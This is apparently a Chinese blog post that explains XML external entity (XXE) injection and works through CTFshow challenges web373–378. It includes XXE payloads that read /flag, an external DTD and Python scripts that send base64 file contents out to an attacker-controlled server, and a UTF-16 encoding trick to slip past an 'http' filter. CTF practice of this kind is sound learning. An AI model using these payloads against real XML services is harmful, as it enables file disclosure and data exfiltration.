XXE&CTFshow XXE
本文最后更新于 38 天前,其中的信息可能已经有所发展或是发生改变。

XXE漏洞概述

XXE:全称为XML Enternal Entity Injection,中文名称:XML外部实体注入

XXE漏洞原理

漏洞成因:解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作

特征:在HTTP的Request报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞

Content-type:text/xml application/xml

XML 简单了解XML:

XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 被设计为传输和存储数据,其焦点是数据的内容 XML 被设计用来结构化、存储以及传输信息 XML 允许创作者定义自己的标签和自己的文档结构

语法:

  • XML元素都必须有关闭标签。
  • XML 标签对大小写敏感。
  • XML 必须正确地嵌套。
  • XML 文档必须有根元素。
  • XML 的属性值须加引号。

结构:

  • XML 文档声明,在文档的第一行
  • XML 文档类型定义,即DTD,XXE 漏洞所在的地方
  • XML 文档元素

实体引用

DTD

文档类型定义(DTD):可以合法的XML文档构建模块,可以被声明在XML的文档中,也可以作为一个外部的引用。这里也就是XXE存在的地方

三种格式

1.内部DTD文档
<!DOCTYPE 根元素[定义内容]>

2.外部DTD文档
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

3.内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

内部实体

基本没什么利用价值

<!ENTITY 实体名称 "实体的值">

例如:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "hello">
]>
<foo>&xxe;</foo>

外部实体

有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,
外部实体的引用可以利用如下协议
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php


例如:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>

外部evil.dtd中的内容
<!ENTITY evil SYSTEM “file:///d:/1.txt” >

%xxe执行后会加载外部实体 evil.dtd 并执行,得到的结果会放在<foo></foo>中

XXE 和 SQL注入 的攻击方法也有一点相似,也分有回显和没有回显

有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为 blind xxe(类似于布尔盲注、时间盲注),可以使用外带数据(OOB)通道提取数据

Web 373

<?php


error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
  $dom = new DOMDocument();
  $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  $creds = simplexml_import_dom($dom);
  $ctfshow = $creds->ctfshow;
  echo $ctfshow;
}
highlight_file(__FILE__);  

libxml_disable_entity_loader() 是 PHP 中的一个函数,用于启用或禁用对外部实体加载的限制

libxml_disable_entity_loader(false) 这行代码的作用就是允许 XML 解析器加载外部实体

那就直接外部实体注入

1. LIBXML_NOENT

  • 作用:当使用 LIBXML_NOENT 标志时,PHP 的 XML 解析器会自动替换 XML 文档中的实体引用。实体引用在 XML 中用于表示特殊字符或引用外部资源,使用这个标志后,解析器会将这些实体引用替换为它们实际代表的内容。
  • 示例场景:假设 XML 文档中有一个实体引用 &,它代表字符 &,当使用 LIBXML_NOENT 标志解析时,解析器会自动将 & 替换为 &

2. LIBXML_DTDLOAD

  • 作用LIBXML_DTDLOAD 标志用于指示 XML 解析器加载外部 DTD(文档类型定义)。DTD 是一种用于定义 XML 文档结构和内容规则的文件,它可以是内部的(在 XML 文档中定义)或外部的(通过 <!DOCTYPE> 声明引用的外部文件)。使用这个标志后,解析器会尝试加载并应用外部 DTD。
  • 示例场景:如果 XML 文档中有如下 <!DOCTYPE> 声明:
<!DOCTYPE root SYSTEM "example.dtd">

使用 LIBXML_DTDLOAD 标志时,解析器会尝试从指定的位置(这里是 example.dtd)加载外部 DTD 文件,并根据 DTD 中的规则来验证和解析 XML 文档

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE TZY [
<!ENTITY tzy SYSTEM "file:///flag">
]>
<hello>
<ctfshow>&tzy;</ctfshow>
</hello>

Web 374

学习XXE可以参考这个文章

https://xz.aliyun.com/news/2994?time__1311=eqfxBQD%3DDQIxl6zq0%3Dje0KitnhKYuD9mD&u_atoken=1303b9a6fe630bb8edf6e2fcef849fdd&u_asig=1a0c399f17404697186422337e0110

无回显的XXE但是外部实体DTD仍然可用,使用vps

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
  $dom = new DOMDocument();
  $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

记得起python服务,使得可以访问到你的dtd文件

1.dtd

<!ENTITY % payload "<!ENTITY send SYSTEM 'http://your-ip:2333/?flag=%file;'>">
%payload;

脚本:

import requests

url = 'http://5c286ef0-0ba8-4bcc-978a-f7d7537e9d00.challenge.ctf.show/'
payload = '''<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://your-ip/1.dtd">
%dtd;
]>
<data>&send;</data>
'''

headers = {'Content-Type': 'application/xml'}
res = requests.post(url, data=payload, headers=headers)
print(res.text)

web375

源码

<?php


error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
  die('error');
}
if(isset($xmlfile)){
  $dom = new DOMDocument();
  $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

多加了个过滤xml version="1\.0"

这个声明不加也可以其实

上题的payload照用,将声明去除即可

import requests

url = 'http://faa76841-8831-44d2-b519-0ffe660de9f0.challenge.ctf.show/'
payload = '''
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://ip/1.dtd">
%dtd;
]>
<data>&send;</data>
'''

headers = {'Content-Type': 'application/xml'}
res = requests.post(url, data=payload, headers=headers)
print(res.text)

web376

源码

<?php


error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
  die('error');
}
if(isset($xmlfile)){
  $dom = new DOMDocument();
  $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

和上一题有点不一样就在开启了大小写过滤,不影响

import requests

url = 'http://faa76841-8831-44d2-b519-0ffe660de9f0.challenge.ctf.show/'
payload = '''
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://ip/1.dtd">
%dtd;
]>
<data>&send;</data>
'''

headers = {'Content-Type': 'application/xml'}
res = requests.post(url, data=payload, headers=headers)
print(res.text)

web377

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 15:26:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
  die('error');
}
if(isset($xmlfile)){
  $dom = new DOMDocument();
  $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

看到多过滤了http

利用编码绕过

从官方文档可以看到

XML 文档不仅可以使用 UTF-8,还支持:

  • UTF-16(BE / LE)
  • UTF-32(BE / LE / unusual forms 2143、3412)
  • EBCDIC(如 IBM037)
import requests

url = 'http://c8ef9452-c445-44b8-85d5-39d07b7ce4d4.challenge.ctf.show/'
payload = '''
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://38.55.99.179/1.dtd">
%dtd;
]>
<data>&send;</data>
'''

headers = {'Content-Type': 'application/xml'}
res = requests.post(url, data=payload.encode('utf-16'), headers=headers)
print(res.text)

web378

查看源代码

function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
  $.ajax({
      type: "POST",
      url: "doLogin",
      contentType: "application/xml;charset=utf-8",
      data: data,
      dataType: "xml",
      anysc: false,
      success: function (result) {
      var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
      var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
      if(code == "0"){
      $(".msg").text(msg + " login fail!");
      }else if(code == "1"){
      $(".msg").text(msg + " login success!");
      }else{
      $(".msg").text("error:" + msg);
      }
      },
      error: function (XMLHttpRequest,textStatus,errorThrown) {
          $(".msg").text(errorThrown + ':' + textStatus);
      }
  });
}

可以看到构造一个 XML 格式的数据,通过/doLogin

直接构造,读文件在username处

<!DOCTYPE payload [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&sun;</username><password>123</password></user>
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇